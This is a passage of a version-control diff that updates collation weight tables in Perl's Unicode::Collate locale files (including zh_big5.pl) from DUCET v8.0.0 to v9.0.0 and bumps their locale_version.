-00D3      ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-01D2      ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-01D1      ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-00F2      ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-00D2      ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-016B      ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-016A      ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-00FA      ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-00DA      ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-01D4      ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-01D3      ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-00F9      ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-00D9      ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-01D6      ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-00FC 0304 ; [.1E30.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
-00DC 0304 ; [.1E30.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
-01D8      ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-00FC 0301 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00FC 0341 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-00DC 0301 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00DC 0341 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-01DA      ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-00FC 030C ; [.1E30.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
-00DC 030C ; [.1E30.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
-01DC      ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-00FC 0300 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00FC 0340 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00DC 0300 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00DC 0340 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00FC      ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0101      ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0100      ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+00E1      ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+01CE      ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+01CD      ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+00E0      ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+00C0      ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0113      ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0112      ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+00E9      ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+011B      ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+011A      ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+00E8      ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+00C8      ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+00EA 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+00CA 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+0065 0302 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+0045 0302 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+1EBF      ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE      ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+00EA 0301 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00EA 0341 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00CA 0301 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00CA 0341 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00EA 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+00CA 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+0065 0302 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+0045 0302 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+1EC1      ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0      ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+00EA 0300 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00EA 0340 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00CA 0300 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00CA 0340 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00EA      ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EC5      ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4      ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3      ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2      ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC7      ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+012B      ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+012A      ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+00ED      ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+00CD      ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+01D0      ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+01CF      ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+00EC      ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+00CC      ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+006D 0304 ; [.1DAA.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
+004D 0304 ; [.1DAA.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
+1E3F      ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+1E3E      ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+006D 030C ; [.1DAA.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
+004D 030C ; [.1DAA.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
+006D 0300 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
+006D 0340 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
+004D 0300 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
+004D 0340 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
+006E 0304 ; [.1DB9.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
+004E 0304 ; [.1DB9.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
+0144      ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143      ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+0148      ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+0147      ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+01F9      ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+01F8      ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+014D      ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+014C      ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+00F3      ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+01D2      ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+01D1      ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+00F2      ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+00D2      ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+016B      ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+016A      ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+00FA      ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+00DA      ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+01D4      ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+01D3      ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+00F9      ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+00D9      ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+01D6      ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+00FC 0304 ; [.1EB5.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
+00DC 0304 ; [.1EB5.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
+01D8      ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+00FC 0301 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00FC 0341 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+00DC 0301 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00DC 0341 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+01DA      ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+00FC 030C ; [.1EB5.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
+00DC 030C ; [.1EB5.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
+01DC      ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+00FC 0300 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00FC 0340 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00DC 0300 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00DC 0340 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00FC      ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_big5.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_big5.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_big5.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,214 +1,214 @@
 use Unicode::Collate::CJK::Big5;
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    overrideCJK => \&Unicode::Collate::CJK::Big5::weightBig5,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0101      ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0100      ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-00E1      ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-01CE      ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-01CD      ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-00E0      ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
